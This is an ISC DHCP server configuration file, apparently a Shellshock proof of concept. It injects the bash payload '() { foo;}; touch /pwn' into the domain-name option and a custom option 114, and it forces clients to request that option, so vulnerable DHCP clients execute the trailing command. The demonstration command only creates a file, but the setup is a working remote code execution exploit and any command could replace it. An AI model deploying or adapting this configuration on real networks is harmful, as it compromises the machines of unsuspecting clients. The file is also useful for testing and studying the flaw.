isc-dhcpd shellshock configuration file

isc-dhcpd-shellshock.conf

option domain-name "() { foo;}; touch /pwn";
option domain-name-servers 8.8.8.8, 8.8.4.4;

default-lease-time 600;
max-lease-time 7200;

option url code 114 = text;
option url "() { foo;}; touch /pwn";
# 114.to_s(16) => "72" 

#option ldap code 95 = text;
#option ldap "() { foo;}; touch /pwn";
# 95.to_s(16) => "5f"

if exists dhcp-parameter-request-list {
	option dhcp-parameter-request-list=concat(option dhcp-parameter-request-list,72,option domain-name);
}

subnet 10.0.0.0 netmask 255.255.255.0 {
	range 10.0.0.2 10.0.0.245;
	option routers 10.0.0.1;
}